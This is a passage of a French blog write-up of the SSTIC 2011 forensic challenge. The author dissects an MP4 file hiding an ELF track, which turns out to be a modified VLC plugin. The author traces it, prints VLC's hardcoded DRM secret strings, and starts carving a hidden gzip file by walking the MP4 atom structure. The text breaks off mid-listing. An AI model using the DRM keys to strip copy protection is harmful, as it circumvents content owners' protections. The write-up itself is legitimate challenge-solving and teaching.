/&gt;&lt;br /&gt;&lt;u&gt;1/ Etude préliminaire&amp;nbsp;&lt;/u&gt;&lt;br /&gt;&lt;div&gt;Le programme pour étudier les mp4 sous linux est gpac, ou MP4Box. Vérifions les métadonnées et le contenu&lt;/div&gt;&lt;div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;$ MP4Box -info challenge&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;* Movie Info *&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Timescale 90000 - Duration 00:00:17.298&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Fragmented File no - 3 track(s)&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;File Brand mp42 - version 0&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt; &amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Created: GMT Sun Mar 20 18:10:09 2011&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;File has no MPEG4 IOD/OD&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;Track # 1 Info - TrackID 1 - TimeScale 90000 - Duration 00:00:17.298&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;Media Info: Language "Undetermined" - Type "vide:mp4v" - 518 samples&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;MPEG-4 Config: Visual Stream - ObjectTypeIndication 0x20&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;MPEG-4 Visual Size 640 x 480 - Simple Profile @ Level 1&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;Pixel Aspect Ratio 1:1 - Indicated track size 640 x 480&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;Self-synchronized&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;Track # 2 Info - TrackID 2 - TimeScale 44100 - Duration 00:00:17.182&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;Media Info: Language "Undetermined" - Type "soun:mp4a" - 740 samples&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;MPEG-4 Config: Audio Stream - ObjectTypeIndication 0x40&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;MPEG-4 Audio AAC LC - 2 Channel(s) - SampleRate 44100&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;Synchronized on stream 1&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;Track # 3 Info - TrackID 3 - TimeScale 90000 - Duration 00:00:06.995&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;Media Info: Language "Undetermined" - Type "data:elf " - 128 samples&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;Unknown media type&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Vendor code "...." - Version 0 - revision 0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;on a donc un container avec trois pistes: une video, une audio et une ... &lt;a href="http://en.wikipedia.org/wiki/Executable_and_Linkable_Format"&gt;elf&lt;/a&gt;! (format de fichier exécutable linux).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;u&gt;2/ Etude de la piste trois&lt;/u&gt;&lt;/div&gt;&lt;div&gt;L'extraction du elf se fait très bien:&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;$ MP4Box -raw 3 challenge&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;Extracting '' Track (type 'data') - Compressor&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;$ ls&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;challenge &amp;nbsp;challenge_track3.elf\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;(curieusement, le nom du track3 à un espace à la fin (?))&lt;/div&gt;&lt;div&gt;Etude rapide du fichier à l'aide de la commande file:&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;challenge_track3.elf : ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Shared Object: Il s'agit donc d'une bibliothèque partagée, reste à en trouver l'usage.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;L'outil &lt;a href="http://en.wikipedia.org/wiki/Strings_%28Unix%29"&gt;strings&lt;/a&gt; permet de connaître quelques infos intéressantes:&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;/home/jb/vlc-1.1.7/src/.libs&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;%s/sstic2011/secret1.dat&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;%s/sstic2011/secret2.dat&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;(...) &lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;Le téléchargement, la compilation et l'installation de vlc-1.1.7 se déroule sans heurts. Après  quelques recherches on se rend compte que la lib: &lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;/usr/local/lib/vlc/plugins/&lt;/span&gt;&lt;wbr&gt;&lt;/wbr&gt;&lt;span style="font-size: x-small;"&gt;demux/libmp4_plugin.so&lt;/span&gt;&lt;/div&gt;&lt;div&gt;ressemble grandement à la lib fournie par le challenge. On intervertit les deux libs, et on constate à l'aide d'un &lt;a href="http://en.wikipedia.org/wiki/Strace"&gt;strace&lt;/a&gt; que:&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;$ mv&amp;nbsp;challenge_track3.elf\ &amp;nbsp;/usr/local/lib/vlc/plugins/&lt;/span&gt;&lt;wbr&gt;&lt;/wbr&gt;&lt;span style="font-size: x-small;"&gt;demux/libmp4_plugin.so&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;$ strace -ff -o track cvlc --noaudio --novideo mp4.m4a&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;VLC media player 1.1.7 The Luggage (revision exported)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;(...)&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;$ grep secret track.121*&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;track.12118:open("/home/kevin/&lt;/span&gt;&lt;wbr&gt;&lt;/wbr&gt;&lt;span style="font-size: x-small;"&gt;sstic2011/secret1.dat", O_RDONLY|O_LARGEFILE|O_&lt;/span&gt;&lt;wbr&gt;&lt;/wbr&gt;&lt;span style="font-size: x-small;"&gt;CLOEXEC) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; = 4&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;track.12120:open("/home/kevin/&lt;/span&gt;&lt;wbr&gt;&lt;/wbr&gt;&lt;span style="font-size: x-small;"&gt;sstic2011/secret1.dat", O_RDONLY|O_LARGEFILE|O_&lt;/span&gt;&lt;wbr&gt;&lt;/wbr&gt;&lt;span style="font-size: x-small;"&gt;CLOEXEC) = 6&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;donc  la lib tente d'ouvrir le fichier&amp;nbsp;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;sstic2011/secret1.dat&lt;/span&gt;&lt;/span&gt; ce qui semble confirmer le bon emploi de la bibliothèque. Ceci dit, le secret2.dat  n'apparait jamais dans le strace, cela doit dépendre du succès d'ouverture de secret1.dat.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;En regardant un peu les différences entre les deux libs mp4  (l'officielle et celle du challenge) on découvre les fonctions suivantes:&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;encryption_keys&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;sstic_lame_derive_key&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;expected_plaintext&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;sstic_check_secret2&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;sstic_check_secret1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;sstic_read_secret1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;sstic_read_secret2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Le mot-clé sstic_lame_derive_key permettait de tomber sur une page de &lt;a href="http://pastebin.com/"&gt;pastebin.com&lt;/a&gt; donnant le code source de cette fonction, mais apparemment, cette page a disparu de pastebin et du cache google (??). &lt;/div&gt;&lt;br /&gt;&lt;div&gt;Enfin, une lecture &lt;a href="http://www.videolan.org/developers/vlc/doc/doxygen/html/drms_8c.html"&gt;du code&lt;/a&gt; de VLC (le nom de certaines structures et commentaires sont &lt;i&gt;priceless&lt;/i&gt;) et de différentes docs confirme bien que secret1 et secret2 sont effectivement des clés servant à déchiffrer les DRM. Ces secrets sont en dur dans le code de VLC, ayant été cassés (Quelques infos sur la mailing list VLC indique que dans le temps, VLC allait chercher ces secrets dans des fichiers dédiés):&lt;/div&gt;&lt;div&gt;&lt;div&gt;/&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;usr/src/vlc-1.1.7/modules/&lt;/span&gt;&lt;/span&gt;&lt;wbr style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;/wbr&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;demux/mp4$ grep secret *&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;drms.c: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;static const char p_secret[] = "tr1-th3n.y00_by3";&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;drms.c: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;memcpy( p_drms-&amp;gt;p_key, p_secret, 16 );&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;drms.c: &amp;nbsp; &amp;nbsp;char p_secret1[] = "Tv!*";&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;drms.c: &amp;nbsp; &amp;nbsp;static const char p_secret2[] = "____v8rhvsaAvOKM____FfUH%798=&lt;/span&gt;&lt;wbr&gt;&lt;/wbr&gt;&lt;span style="font-size: x-small;"&gt;[;."&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;(etc...)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;on retrouve d 'ailleurs dans la lib SSTIC le&amp;nbsp;tr1-th3n.y00_by3 et d'autres choses.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Nous nous retrouvons donc face à un problème de reverse de code et de crypto. Mais il est mention de deux fichiers, secret1 et secret2. Il semble évident que la résolution crypto donnera un des deux secrets. Il faut donc découvrir le second.&lt;/div&gt;&lt;div&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/div&gt;&lt;div&gt;&lt;u&gt;3/ If at first you don't succeed, try again&lt;/u&gt;&lt;/div&gt;&lt;div&gt;Il est temps de reprendre l'étude du fichier original après avoir bien travaillé la librairie.&lt;/div&gt;&lt;div&gt;un lecture hexa du fichier challenge dévoile une info intéressante en tout début de fichier:&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-kQtx8KMyDjQ/TdzMJNPFCRI/AAAAAAAAAE0/o0agvObMaqY/s1600/introduction.txt.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="141" src="http://1.bp.blogspot.com/-kQtx8KMyDjQ/TdzMJNPFCRI/AAAAAAAAAE0/o0agvObMaqY/s400/introduction.txt.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;Le mot "introduction.txt" n'est clairement présent par hasard :-)&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Et en sautant le nombre d'octets appropriés, on tombe sur:&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;kevin@slackware:~$ dd if=challenge of=intro bs=1 count=64 skip=32&lt;br /&gt;64+0 enregistrements lus&lt;br /&gt;64+0 enregistrements écrits&lt;br /&gt;64 octets (64 B) copiés, 0,00461791 s, 13,9 kB/s&lt;br /&gt;kevin@slackware:~$ file intro &lt;br /&gt;intro: gzip compressed data, was "introduction.txt", from FAT filesystem (MS-DOS, OS/2, NT), last modified: Thu Mar 17 14:01:52 2011, max compression&lt;br /&gt;kevin@slackware:~$&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Ce qui est plutôt prometteur. Néanmoins, son dégzippage pose problème:&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;kevin@slackware:~$ dd if=challenge of=intro.gz bs=1 count=128000 skip=32&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;128000+0 enregistrements lus&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;128000+0 enregistrements écrits&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;128000 octets (128 kB) copiés, 7,50659 s, 17,1 kB/s&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;kevin@slackware:~$ gunzip intro.gz &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;gzip: intro.gz: invalid compressed data--format violated&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;kevin@slackware:~$&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Son extraction n'est pas immédiate et il devient nécessaire de se plonger dans de la doc sur le &lt;a href="http://en.wikipedia.org/wiki/MPEG-4_Part_14"&gt;format de fichier mp4&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Un fichier mp4 est constitué d'atomes, suivant une structure simple:&lt;/div&gt;&lt;div&gt;4 octets indiquant une taille suivis de 4 octets ASCII donnant le nom de l'atom, suivi des données. Par exemple, pour le fichier challenge:&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;00 00 00 18 66 74 79 70 &amp;nbsp;6d 70 34 32 00 00 00 00&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;6d 70 34 32 69 73 6f 6d &amp;nbsp;00 3f a1 9a 6d 64 61 74&lt;/span&gt;&lt;/div&gt;&lt;div&gt;taille:  18Hex donc 24 octets. type "ftyp". Données: mp42 00 00 00 00 &amp;nbsp;mp42isom.  Ce qui permet d'ailleurs à la commande file de reconnaitre le fichier.&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;L'atom suivant démarre à l'octet 24, fait une taille de &amp;nbsp;4170138 est du mdat, etc, etc..&lt;/div&gt;&lt;div&gt;On obtient donc une structure:&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;Atom ftyp @ 0 of size: 24, ends @ 24&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;Atom mdat @ 24 of size: 4170138, ends @ 4170162&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;Atom mdat @ 4170162 of size: 277450, ends @ 4447612&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;Atom mdat @ 4447612 of size: 178748, ends @ 4626360&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;Atom moov @ 4626360 of size: 12507, ends @ 4638867&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; Atom mvhd @ 4626368 of size: 108, ends @ 4626476&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; Atom trak @ 4626476 of size: 5982, ends @ 4632458&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; Atom tkhd @ 4626484 of size: 92, ends @ 4626576&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; Atom ssti @ 4626576 of size: 12, ends @ 4626588&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;Atom mdia @ 4626588 of size: 5822, ends @ 4632410&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; Atom mdhd @ 4626596 of size: 32, ends @ 4626628&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; Atom hdlr @ 4626628 of size: 33, ends @ 4626661&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; Atom minf @ 4626661 of size: 5749, ends @ 4632410&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Atom vmhd @ 4626669 of size: 20, ends @ 4626689&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Atom dinf @ 4626689 of size: 36, ends @ 4626725&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Atom dref @ 4626697 of size: 28, ends @ 4626725&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Atom stbl @ 4626725 of size: 5685, ends @ 4632410&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Atom stsd @ 4626733 of size: 181, ends @ 4626914&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Atom mp4v @ 4626749 of size: 165, ends @ 4626914&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Atom esds @ 4626835 of size: 79, ends @ 4626914&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Atom stts @ 4626914 of size: 3248, ends @ 4630162&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Atom stsz @ 4630162 of size: 2092, ends @ 4632254&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Atom stsc @ 4632254 of size: 40, ends @ 4632294&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Atom stco @ 4632294 of size: 88, ends @ 4632382&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Atom stss @ 4632382 of size: 28, ends @ 4632410&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;Atom edts @ 4632410 of size: 48, ends @ 4632458&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; Atom elst @ 4632418 of size: 40, ends @ 4632458&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; Atom trak @ 4632458 of size: 3492, ends @ 4635950&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; Atom tkhd @ 4632466 of size: 92, ends @ 4632558&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; Atom mdia @ 4632558 of size: 3372, ends @ 4635930&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Atom mdhd @ 4632566 of size: 32, ends @ 4632598&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Atom hdlr @ 4632598 of size: 33, ends @ 4632631&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Atom minf @ 4632631 of size: 3299, ends @ 4635930&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp; 